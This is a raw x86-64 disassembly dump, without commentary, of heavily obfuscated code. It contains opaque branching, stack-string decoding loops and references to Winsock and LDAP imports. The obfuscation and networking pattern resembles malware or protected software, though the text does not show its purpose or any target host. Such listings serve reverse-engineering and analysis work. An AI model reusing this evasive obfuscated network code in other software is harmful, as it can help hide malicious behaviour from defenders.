cmp rdi, rax
je 0x1401dfa75
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401dfa52
mov rdi, rcx
lea r10, [rcx + 0xa]
lea rax, [r10 + 4]
cmp rcx, rax
jb 0x1401e003d
lea rax, [r10 + 3]
cmp rcx, rax
jb 0x1401e001b
lea rax, [r10 + 2]
cmp rcx, rax
jb 0x1401df7d5
lea rax, [r10 + 1]
cmp rcx, rax
jb 0x1401df7b2
lea rax, [r10 + 0x2a]
cmp rcx, rax
jb 0x1401df78f
lea rcx, [r10 + 0x5a]
cmp rdi, rcx
jb 0x1401df9f0
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401df98f
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401df943
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401df915
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401df5ea
mov rdi, rcx
lea r10, [rcx + 3]
lea rax, [r10 + 0x41]
cmp rcx, rax
ja 0x1401df8f3
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x1401df8cd
lea rax, [r10 + 0x61]
cmp rcx, rax
ja 0x1401df8a9
lea rax, [r10 + 0x1000]
cmp rcx, rax
ja 0x1401df883
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x1401df866
lea rcx, [r10 + 0x3e8]
cmp rdi, rcx
ja 0x1401df852
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x1401df835
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x1401df818
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x1401df7f7
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401df5ea
mov rdi, rcx
lea r10, [rcx + 0x40]
jmp 0x1401df5ea
movabs rdx, 0x50d5a7e94718dfde
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x12
add bl, dl
jmp 0x1401df5dd
movabs rdx, 0x46767ed1a987052a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x1401df557
movabs rcx, 0x3c1755ba0bf52a76
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3a
jmp 0x1401df4fc
movabs rdx, 0x67397bbfb3dbc310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401dfec6
lea rdx, [r9 + r15]
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401dfeee
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401dfe8f
movabs rdx, 0x481c0078db2632f4
mov ecx, Ordinal_45
jmp 0x1401dff0d
lea rdx, [r9 + r13]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401dff48
movabs rdx, 0x335dae49a0027d8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401dff4b
movabs rdx, 0x28fe85320270a2d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401dfe25
movabs rdx, 0x1e9f5c1a64dec824
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401dffad
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401dffff
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x380], bl
jmp 0x1401e000e
movabs rdx, 0x6ff323301fce6ffa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x42
jb 0x1401df936
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x1401dfec8
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x1401dfd87
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x1401dfd11
movabs rdx, 0xa93d94c83c5c06d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401df964
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
mov ecx, 1
cmp rax, rcx
je 0x1401dfdb5
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x1401dfc7d
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x1401df9b0
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
jmp 0x1401dffff
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x1401dffad
movabs rcx, 0x78accaa08bc11ce4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x1401dff7b
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x1401dff4b
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x1401dff48
movabs rdx, 0x598f4f59b30b8cc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x1401dfdae
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x1401dfc04
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x1401dfc33
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x1401dfeb6
lea rcx, [r10 + 6]
cmp rdi, rcx
jae 0x1401dfb7d
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x1401dfa11
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401dfba8
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x1401dffff
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401dfbd3
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401dff48
cmp rdi, rcx
jne 0x1401dfbec
movabs rdx, 0xdaa2c6600d03648
mov ecx, 4
jmp 0x1401dff0d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401dfc1b
movabs rdx, 0x1809557d9e6210fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401dfe8f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401dfc4a
movabs rdx, 0x22687e953bf3ebb0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401dfeee
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401dfa11
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401dfec8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401dfca8
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x1401dfec8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401dfcc5
movabs rdx, 0xd114b77f810443da
mov ecx, 5
jmp 0x1401dfc33
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401dfce2
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x1401dfc04
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401df9b0
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x1401dffff
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401dfd2e
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x1401dfdf2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401dfd58
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401dfdd9
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401df964
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401dff48
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x380]
add bl, r8b
add bl, dl
jmp 0x1401dff1f
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x380]
add bl, dl
add bl, r8b
jmp 0x1401dff7b
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401dffff
movabs rdx, 0x35814f1d4578734e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x22
add bl, dl
jmp 0x1401dff7b
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x1401dff4b
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x1401dff48
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
mov eax, 1
jmp 0x1401dfef6
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x1401dfeb6
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x7a
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x1401e0013
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xa083ed57d06959ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x66
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401e000e
mov r8, rdx
movabs rcx, 0xa44d0fd2a77e7d76
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x3a
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x380], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x380], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401dffff
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x380]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x1401df4e9
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x1401df4e4
lea rcx, [r9 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x62
jmp 0x1401df4d4
lea rcx, [rbp + 0x17f7bf8]
jmp 0x1401e0070
lea rcx, [rbp + 0x1486952]
jmp 0x1401e0070
lea rcx, [rbp + 0x380]
xor edx, edx
call fcn.1402474a0
test al, al
je 0x1401e51d0
mov byte [rbp + 0xc70], 0x9b
mov byte [rbp + 0xc71], 0x59
mov r15d, 0x80
mov byte [rbp + 0xc72], r15b
mov byte [rbp + 0xc73], 0x5b
mov byte [rbp + 0xc74], 0xa0
mov byte [rbp + 0xc75], 0x45
mov byte [rbp + 0xc76], 0xbb
mov byte [rbp + 0xc77], 0x47
mov byte [rbp + 0xc78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc79], 0x41
mov byte [rbp + 0xc7a], 0xaf
mov byte [rbp + 0xc7b], 0x43
mov byte [rbp + 0xc7c], 0xde
mov byte [rbp + 0xc7d], Ordinal_79
mov byte [rbp + 0xc7e], 0xdd
mov byte [rbp + 0xc7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc80], 0xac
mov byte [rbp + 0xc81], Ordinal_79
mov byte [rbp + 0xc82], 0x86
mov byte [rbp + 0xc83], Ordinal_79
mov byte [rbp + 0xc84], 0x99
mov byte [rbp + 0xc85], 0x75
mov byte [rbp + 0xc86], 0x98
mov byte [rbp + 0xc87], 0x77
mov byte [rbp + 0xc88], __WSAFDIsSet
mov byte [rbp + 0xc89], WSACleanup
mov byte [rbp + 0xc8a], 0xef
mov byte [rbp + 0xc8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc8c], 0xe8
mov byte [rbp + 0xc8d], 0x7d
mov byte [rbp + 0xc8e], 0xe2
mov byte [rbp + 0xc8f], 0x7f
mov byte [rbp + 0xc90], 0x9c
mov byte [rbp + 0xc91], 0x79
mov byte [rbp + 0xc92], 0xbb
mov byte [rbp + 0xc93], 0x7b
mov byte [rbp + 0xc94], 0xf4
mov byte [rbp + 0xc95], 0x65
mov byte [rbp + 0xc96], 0xf6
mov byte [rbp + 0xc97], 0x67
mov byte [rbp + 0xc98], 0xac
mov byte [rbp + 0xc99], 0x61
mov byte [rbp + 0xc9a], 0x83
mov byte [rbp + 0xc9b], 0x63
mov byte [rbp + 0xc9c], 0xf0
mov byte [rbp + 0xc9d], WSASetLastError
mov byte [rbp + 0xc9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xca0], Ordinal_143
mov byte [rbp + 0xca1], WSAGetLastError
mov byte [rbp + 0xca2], 0xa7
mov byte [rbp + 0xca3], WSASetLastError
mov byte [rbp + 0xca4], 0x88
mov byte [rbp + 0xca5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xca6], 0xfe
mov byte [rbp + 0xca7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xca8], 0xfd
mov byte [rbp + 0xca9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcaa], r15b
mov byte [rbp + 0xcab], reloc.WS2_32.dll_send
mov byte [rbp + 0xcac], 0xfd
mov byte [rbp + 0xcad], Ordinal_32
mov byte [rbp + 0xcae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xcaf], Ordinal_32
mov byte [rbp + 0xcb0], 0xfa
mov byte [rbp + 0xcb1], Ordinal_27
mov byte [rbp + 0xcb2], 0xf3
mov byte [rbp + 0xcb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xcb4], __WSAFDIsSet
mov byte [rbp + 0xcb5], 5
mov byte [rbp + 0xcb6], 6
mov byte [rbp + 0xcb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb8], xmm0
mov qword [rbp + 0xcc8], rax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r12d, Ordinal_41
xor eax, eax
mov r11d, eax
lea r13d, [rax + 1]
cmp r11, 0x60
jae 0x1401e0cc3
movzx r9d, byte [rbp + r11 + 0xc70]
mov edx, r9d
cmp rdi, r11
ja 0x1401e0cba
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401e02ff
movabs rsi, 0xe2ff43c1b0c1bb8c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2c
jmp 0x1401e0339
je 0x1401e0c3b
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e0bec
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401e0b8f
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401e0b6a
mov r8b, bl
movabs rsi, 0xe2ff43c1b0c1bb8c
cmp r10, r11
ja 0x1401e0cb1
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x1401e036c
movabs rbx, 0x9ef08ee37fe4627c
add rbx, r11
mov al, bl
and al, r9b
add al, al
sub bl, al
sub bl, 0x64
add bl, r9b
jmp 0x1401e03a3
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401e0b24
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401e0b01
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401e0adf
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401e0abd
mov bl, r8b
mov r8d, Ordinal_32
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x1401e0792
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401e0770
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401e075c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401e073a
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401e0718
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x1401e06f6
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401e06d0
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401e0c8f
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401e0c6d
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401e04ce
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401e060a
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x1401e05dc
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401e03b6
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401e05c8
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401e05a2
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401e0580
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401e055a
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401e0534
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401e0511
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401e04f0
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x1401e03b6
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x1401e03a9
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x20
jmp 0x1401e08b9
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x78
jmp 0x1401e0b65
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e0b87
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e0bdd
movabs rcx, 0x538d4a07b60e4950
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x1401e0a84
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e0c08
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401e07ce
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r11 + 0xc70], bl
jmp 0x1401e0c65
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 2
je 0x1401e0a5d
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401e0894
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r15
jae 0x1401e0a32
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x1401e0949
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r10, 0x42
jb 0x1401e05fd
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401e0b41
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e0c08
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401e0a84
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x1401e0bdd
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401e0b87
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401e0b10
movabs rcx, 0x89af1d39f33e9628
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x1401e0b41
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x1401e07b8
lea rdx, [r11 + rsi]
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e062b
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e07e5
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r8d
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e0c56
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e080f
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x1401e0a82
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e083a
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401e0bda
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e0865
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1401e0bb0
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401e062b
movabs rcx, 0x6dd559e20be47db8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401e0b41
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e08c0
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
add bl, dl
jmp 0x1401e0b41
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e08ef
movabs rdx, 0xa2d0342de1309e8c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401e0b65
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e091a
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x74
jmp 0x1401e0bdd
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401e0667
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x1401e0a84
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401e0966
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401e07ce
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401e0990
movabs rdx, 0x41c0c31161150108
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x1401e05c1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401e09bb
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x1401e0bda
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401e09d8
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401e0b9e
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401e0a03
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r15b
jmp 0x1401e0b87
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401e069e
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401e0b65
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r11 + 0xc70]
sub bl, al
sub bl, 0x20
add bl, r9b
add bl, dl
jmp 0x1401e0bb0
